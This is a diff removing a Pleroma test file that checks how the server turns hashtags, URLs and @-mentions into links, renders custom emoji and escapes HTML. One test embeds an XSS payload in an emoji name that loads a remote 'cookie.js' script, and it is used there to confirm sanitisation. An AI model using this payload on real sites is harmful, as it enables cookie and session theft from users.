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- # Pleroma: A lightweight social networking server
- # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
- # SPDX-License-Identifier: AGPL-3.0-only
-
- defmodule Pleroma.FormatterTest do
- alias Pleroma.Formatter
- alias Pleroma.User
- use Pleroma.DataCase
-
- import Pleroma.Factory
-
- setup_all do
- Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
- :ok
- end
-
- describe ".add_hashtag_links" do
- test "turns hashtags into links" do
- text = "I love #cofe and #2hu"
-
- expected_text =
- "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
-
- assert {^expected_text, [], _tags} = Formatter.linkify(text)
- end
-
- test "does not turn html characters to tags" do
- text = "#fact_3: pleroma does what mastodon't"
-
- expected_text =
- "<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't"
-
- assert {^expected_text, [], _tags} = Formatter.linkify(text)
- end
- end
-
- describe ".add_links" do
- test "turning urls into links" do
- text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
-
- expected =
- "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
-
- assert {^expected, [], []} = Formatter.linkify(text)
-
- text = "https://mastodon.social/@lambadalambda"
-
- expected =
- "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
-
- assert {^expected, [], []} = Formatter.linkify(text)
-
- text = "https://mastodon.social:4000/@lambadalambda"
-
- expected =
- "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
-
- assert {^expected, [], []} = Formatter.linkify(text)
-
- text = "@lambadalambda"
- expected = "@lambadalambda"
-
- assert {^expected, [], []} = Formatter.linkify(text)
-
- text = "http://www.cs.vu.nl/~ast/intel/"
- expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
-
- assert {^expected, [], []} = Formatter.linkify(text)
-
- text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
-
- expected =
- "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
-
- assert {^expected, [], []} = Formatter.linkify(text)
-
- text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
-
- expected =
- "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
-
- assert {^expected, [], []} = Formatter.linkify(text)
-
- text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
-
- expected =
- "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
-
- assert {^expected, [], []} = Formatter.linkify(text)
-
- text = "https://en.wikipedia.org/wiki/Duff's_device"
-
- expected =
- "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
-
- assert {^expected, [], []} = Formatter.linkify(text)
-
- text = "https://pleroma.com https://pleroma.com/sucks"
-
- expected =
- "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
-
- assert {^expected, [], []} = Formatter.linkify(text)
-
- text = "xmpp:contact@hacktivis.me"
-
- expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
-
- assert {^expected, [], []} = Formatter.linkify(text)
-
- text =
- "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
-
- expected = "<a href=\"#{text}\">#{text}</a>"
-
- assert {^expected, [], []} = Formatter.linkify(text)
- end
- end
-
- describe "add_user_links" do
- test "gives a replacement for user links, using local nicknames in user links text" do
- text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
- gsimg = insert(:user, %{nickname: "gsimg"})
-
- archaeme =
- insert(:user, %{
- nickname: "archa_eme_",
- info: %User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
- })
-
- archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
-
- {text, mentions, []} = Formatter.linkify(text)
-
- assert length(mentions) == 3
-
- expected_text =
- "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
- gsimg.ap_id
- }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
- archaeme.id
- }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
- archaeme_remote.id
- }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
-
- assert expected_text == text
- end
-
- test "gives a replacement for user links when the user is using Osada" do
- {:ok, mike} = User.get_or_fetch("mike@osada.macgirvin.com")
-
- text = "@mike@osada.macgirvin.com test"
-
- {text, mentions, []} = Formatter.linkify(text)
-
- assert length(mentions) == 1
-
- expected_text =
- "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
-
- assert expected_text == text
- end
-
- test "gives a replacement for single-character local nicknames" do
- text = "@o hi"
- o = insert(:user, %{nickname: "o"})
-
- {text, mentions, []} = Formatter.linkify(text)
-
- assert length(mentions) == 1
-
- expected_text =
- "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
-
- assert expected_text == text
- end
-
- test "does not give a replacement for single-character local nicknames who don't exist" do
- text = "@a hi"
-
- expected_text = "@a hi"
- assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text)
- end
-
- test "given the 'safe_mention' option, it will only mention people in the beginning" do
- user = insert(:user)
- other_user = insert(:user)
- third_user = insert(:user)
- text = " @#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}"
- {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)
-
- assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}]
-
- assert expected_text ==
- "<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{
- user.ap_id
- }'>@<span>#{user.nickname}</span></a></span> <span class='h-card'><a data-user='#{
- other_user.id
- }' class='u-url mention' href='#{other_user.ap_id}'>@<span>#{other_user.nickname}</span></a></span> hey dudes i hate <span class='h-card'><a data-user='#{
- third_user.id
- }' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>"
- end
-
- test "given the 'safe_mention' option, it will still work without any mention" do
- text = "A post without any mention"
- {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)
-
- assert mentions == []
- assert expected_text == text
- end
-
- test "given the 'safe_mention' option, it will keep text after newlines" do
- user = insert(:user)
- text = " @#{user.nickname}\n hey dude\n\nhow are you doing?"
-
- {expected_text, _, _} = Formatter.linkify(text, safe_mention: true)
-
- assert expected_text =~ "how are you doing?"
- end
- end
-
- describe ".parse_tags" do
- test "parses tags in the text" do
- text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
-
- expected_tags = [
- {"#Test", "test"},
- {"#working", "working"},
- {"#は", "は"},
- {"#漢字", "漢字"}
- ]
-
- assert {_text, [], ^expected_tags} = Formatter.linkify(text)
- end
- end
-
- test "it can parse mentions and return the relevant users" do
- text =
- "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
-
- o = insert(:user, %{nickname: "o"})
- jimm = insert(:user, %{nickname: "jimm"})
- gsimg = insert(:user, %{nickname: "gsimg"})
- archaeme = insert(:user, %{nickname: "archaeme"})
- archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
-
- expected_mentions = [
- {"@archaeme", archaeme},
- {"@archaeme@archae.me", archaeme_remote},
- {"@gsimg", gsimg},
- {"@jimm", jimm},
- {"@o", o}
- ]
-
- assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
- end
-
- test "it adds cool emoji" do
- text = "I love :firefox:"
-
- expected_result =
- "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
-
- assert Formatter.emojify(text) == expected_result
- end
-
- test "it does not add XSS emoji" do
- text =
- "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
-
- custom_emoji = %{
- "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
- "https://placehold.it/1x1"
- }
-
- expected_result =
- "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
-
- assert Formatter.emojify(text, custom_emoji) == expected_result
- end
-
- test "it returns the emoji used in the text" do
- text = "I love :firefox:"
-
- assert Formatter.get_emoji(text) == [
- {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
- ]
- end
-
- test "it returns a nice empty result when no emojis are present" do
- text = "I love moominamma"
- assert Formatter.get_emoji(text) == []
- end
-
- test "it doesn't die when text is absent" do
- text = nil
- assert Formatter.get_emoji(text) == []
- end
-
- test "it escapes HTML in plain text" do
- text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
- expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
-
- assert Formatter.html_escape(text, "text/plain") == expected
- end
- end
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